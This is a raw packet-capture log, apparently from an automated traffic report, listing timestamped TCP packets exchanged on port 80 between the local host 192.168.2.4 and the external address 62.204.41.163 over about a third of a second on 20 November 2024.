Nov 20, 2024 07:48:08.597872972 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.597887993 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.597901106 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.597922087 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.597949028 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.597954035 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.597984076 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.597989082 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.598006010 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.598021984 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.598037958 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.598056078 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.598067045 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.598090887 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.598103046 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.598139048 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.642676115 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.642749071 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.642786026 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.642811060 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.642819881 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.642841101 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.642855883 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.642887115 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.642889977 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.642920971 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.642926931 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.642944098 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.642961025 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.642981052 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.642995119 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.643012047 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.643028975 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.643043041 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.643062115 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.643085003 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.643096924 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.643122911 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.643131018 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.643145084 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.643165112 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.643183947 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.643198967 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.643215895 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.643233061 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.643241882 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.643270969 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.643291950 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.643305063 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.643318892 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.643361092 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.643362045 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.643393040 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.643413067 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.643444061 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.681720018 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.681757927 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.681814909 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.681869984 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.681912899 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.681943893 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.681976080 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.682002068 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.682009935 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.682034016 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.682044983 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.682058096 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.682079077 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.682100058 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.682116032 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.682133913 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.682164907 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.682166100 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.682199955 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.682214022 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.682235003 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.682265997 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.682271957 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.682292938 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.682300091 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.682321072 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.682337999 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.682341099 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.682365894 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.682396889 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.682418108 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.682523012 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.682558060 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.682573080 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.682595015 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.682615995 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.682631969 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.682636976 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.682679892 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.682684898 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.682719946 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.682729006 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.682754993 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.682769060 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.682811975 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.682813883 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.682845116 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.682862043 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.682879925 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.682897091 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.682913065 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.682929039 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.682965994 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.682966948 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.683017969 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.683018923 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.683053017 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.683064938 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.683085918 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.683108091 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.683121920 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.683137894 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.683156967 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.683185101 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.683192968 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.683226109 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.683228016 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.683248043 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.683260918 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.683270931 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.683294058 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.683320045 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.683341980 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.683346987 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.683403015 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.683407068 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.683454037 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.683459997 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.683505058 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.683511972 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.683538914 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.683557034 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.683577061 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.683583975 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.683610916 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.683620930 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.683645964 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.683649063 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.683681011 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.683697939 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.683728933 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.683732986 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.683765888 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.683799982 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.683821917 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.683823109 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.683856964 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.683871984 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.683891058 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.683902025 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.683927059 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.683945894 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.683960915 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.683971882 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.683994055 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.684006929 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.684027910 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.684047937 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.684065104 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.684077978 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.684098959 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.684113979 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.684133053 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.684154034 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.684175968 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.684185982 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.684218884 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.684237003 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.684252024 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.684271097 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.684303045 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.684308052 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.684338093 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.684354067 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.684372902 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.684385061 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.684401035 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.684436083 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.684453011 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.684472084 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.684499979 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.684506893 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.684545040 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.684556007 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.684580088 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.684596062 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.684612989 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.684627056 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.684647083 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.684663057 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.684684038 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.684698105 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.684717894 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.684730053 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.684756041 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.684765100 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.684791088 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.684803009 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.684818983 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.684839964 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.684859037 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.684871912 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.684905052 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.684921026 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.684950113 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.684957981 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.684993029 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.685005903 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.685025930 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.685055017 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.685059071 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.685092926 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.685092926 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.685117006 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.685126066 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.685143948 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.685161114 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.685183048 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.685194969 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.685206890 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.685228109 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.685251951 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.685266018 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.685286999 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.685297966 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.685316086 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.685333014 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.685347080 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.685367107 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.685378075 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.685401917 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.685420990 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.685440063 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.685451031 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.685475111 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.685487986 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.685508966 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.685524940 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.685543060 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.685559034 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.685579062 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.685602903 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.685611963 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.685640097 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.685647011 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.685669899 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.685678959 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.685699940 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.685724020 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.900536060 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.900615931 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.900652885 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.900682926 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.900741100 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.900791883 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.900825024 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.900829077 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.900829077 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.900829077 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.900860071 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.900861025 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.900866985 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.900895119 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.900904894 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.900938988 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.900948048 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.900985003 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.901002884 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.901019096 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.901032925 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.901052952 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.901063919 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.901094913 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.901103973 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.901144028 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.901144981 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.901184082 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.901195049 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.901216984 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.901233912 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.901254892 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.901277065 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.901284933 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.901297092 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.901335955 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.901336908 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.901371956 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.901387930 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.901405096 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.901417017 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.901453018 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.901460886 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.901510954 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.901515007 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.901544094 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.901566982 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.901581049 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.901587009 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.901614904 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.901633024 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.901654959 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.901665926 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.901700020 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.901715994 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.901734114 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.901745081 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.901770115 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.901783943 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.901801109 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.901827097 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.901849985 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.901851892 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.901885033 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.901896954 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.901913881 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.901930094 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.901937962 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.901945114 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.901958942 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.901961088 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.901968956 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.901976109 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.901985884 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.901998997 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902002096 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902017117 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902018070 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902034044 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902040958 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902046919 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902050018 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902065992 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902071953 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902081966 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902090073 CET	49730	80	192.168.2.4	62.204.41.163
